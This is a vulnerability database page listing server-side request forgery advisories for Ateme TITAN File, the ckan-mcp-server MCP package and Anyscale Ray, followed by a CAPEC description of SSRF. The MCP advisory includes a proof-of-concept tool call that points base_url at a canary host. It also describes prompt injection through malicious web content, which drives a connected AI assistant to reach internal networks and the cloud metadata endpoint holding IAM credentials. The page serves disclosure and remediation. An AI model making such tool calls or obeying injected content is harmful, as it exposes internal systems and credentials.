  "details": "Ateme TITAN File 3.9.12.4 contains an authenticated server-side request forgery vulnerability in the job callback URL parameter that allows attackers to bypass network restrictions. Attackers can exploit the unvalidated parameter to initiate file, service, and network enumeration by forcing the application to make HTTP, DNS, or file requests to arbitrary destinations.",
  "id": "GHSA-3x8w-qfr9-4jmg",
  "modified": "2025-12-19T00:31:41Z",
  "published": "2025-12-15T21:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-53893"
    },
    {
      "type": "WEB",
      "url": "https://www.ateme.com/product-titan-software"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/51582"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/ateme-titan-file-authenticated-server-side-request-forgery-vulnerability"
    },
    {
      "type": "WEB",
      "url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5781.php"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-3XM7-QW7J-QC8V

Vulnerability from github – Published: 2026-03-18 12:59 – Updated: 2026-04-24 20:46
VLAI
Summary
SSRF in @aborruso/ckan-mcp-server via base_url allows access to internal networks
Details

Summary

The @aborruso/ckan-mcp-server MCP server provides tools including ckan_package_search and sparql_query that accept a base_url parameter, making HTTP requests to arbitrary endpoints without restriction. A CKAN portal client has no legitimate reason to contact cloud metadata or internal network services.

Severity

Attack complexity is HIGH because exploitation requires prompt injection via malicious content (webpage, document) while the victim's AI assistant has this MCP server connected.

Proof of Concept

Tested inside Docker-in-Docker isolated environment with canary HTTP sidecar.

{"tool": "ckan_package_search", "arguments": {"base_url": "http://canary:8080/ssrf", "query": "test"}}

Result: Canary received 9 HTTP requests. The high request volume confirms no rate limiting or URL validation.

Root Cause

No URL validation on base_url parameter. No private IP blocking (RFC 1918, link-local 169.254.x.x), no cloud metadata blocking. The sparql_query and ckan_datastore_search_sql tools also accept arbitrary base URLs and expose injection surfaces.

Impact

Internal network scanning, cloud metadata theft (IAM credentials via IMDS at 169.254.169.254), potential SQL/SPARQL injection via unsanitized query parameters. Attack requires prompt injection to control the base_url parameter.

Recommended Fix

  1. Validate base_url against a configurable allowlist of permitted CKAN portals
  2. Block private IP ranges (RFC 1918, link-local)
  3. Block cloud metadata endpoints (169.254.169.254)
  4. Sanitize SQL input for datastore queries
  5. SPARQL endpoint allowlist

Credit

Discovered by Andrei Boldyrev of Munio Security Research using munio

Severity
5.7 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@aborruso/ckan-mcp-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.4.85"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33060"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-18T12:59:42Z",
    "nvd_published_at": "2026-03-20T08:16:11Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `@aborruso/ckan-mcp-server` MCP server provides tools including `ckan_package_search` and `sparql_query` that accept a `base_url` parameter, making HTTP requests to arbitrary endpoints without restriction. A CKAN portal client has no legitimate reason to contact cloud metadata or internal network services.\n\n## Severity\n\nAttack complexity is HIGH because exploitation requires prompt injection via malicious content (webpage, document) while the victim\u0027s AI assistant has this MCP server connected.\n\n## Proof of Concept\n\nTested inside Docker-in-Docker isolated environment with canary HTTP sidecar.\n\n```json\n{\"tool\": \"ckan_package_search\", \"arguments\": {\"base_url\": \"http://canary:8080/ssrf\", \"query\": \"test\"}}\n```\n**Result**: Canary received **9 HTTP requests**. The high request volume confirms no rate limiting or URL validation.\n\n## Root Cause\n\nNo URL validation on `base_url` parameter. No private IP blocking (RFC 1918, link-local 169.254.x.x), no cloud metadata blocking. The `sparql_query` and `ckan_datastore_search_sql` tools also accept arbitrary base URLs and expose injection surfaces.\n\n## Impact\n\nInternal network scanning, cloud metadata theft (IAM credentials via IMDS at 169.254.169.254), potential SQL/SPARQL injection via unsanitized query parameters. Attack requires prompt injection to control the `base_url` parameter.\n\n## Recommended Fix\n\n1. Validate `base_url` against a configurable allowlist of permitted CKAN portals\n2. Block private IP ranges (RFC 1918, link-local)\n3. Block cloud metadata endpoints (169.254.169.254)\n4. Sanitize SQL input for datastore queries\n5. SPARQL endpoint allowlist\n\n## Credit\n\nDiscovered by [Andrei Boldyrev](https://github.com/abcgco) of Munio Security Research using [munio](https://munio.dev)",
  "id": "GHSA-3xm7-qw7j-qc8v",
  "modified": "2026-04-24T20:46:15Z",
  "published": "2026-03-18T12:59:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ondata/ckan-mcp-server/security/advisories/GHSA-3xm7-qw7j-qc8v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33060"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kysely-org/kysely/commit/0a602bff2f442f6c26d5e047ca8f8715179f6d24"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ondata/ckan-mcp-server"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SSRF in @aborruso/ckan-mcp-server via base_url allows access to internal networks"
}

GHSA-3XQF-MVHG-35J8

Vulnerability from github – Published: 2023-11-28 09:30 – Updated: 2023-12-04 21:30
VLAI
Details

Anyscale Ray 2.6.3 and 2.8.0 allows /log_proxy SSRF. NOTE: the vendor's position is that this report is irrelevant because Ray, as stated in its documentation, is not intended for use outside of a strictly controlled network environment

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-48023"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-11-28T08:15:07Z",
    "severity": "CRITICAL"
  },
  "details": "Anyscale Ray 2.6.3 and 2.8.0 allows /log_proxy SSRF. NOTE: the vendor\u0027s position is that this report is irrelevant because Ray, as stated in its documentation, is not intended for use outside of a strictly controlled network environment",
  "id": "GHSA-3xqf-mvhg-35j8",
  "modified": "2023-12-04T21:30:51Z",
  "published": "2023-11-28T09:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-48023"
    },
    {
      "type": "WEB",
      "url": "https://bishopfox.com/blog/ray-versions-2-6-3-2-8-0"
    },
    {
      "type": "WEB",
      "url": "https://docs.ray.io/en/latest/ray-security/index.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

← Back to the CWE list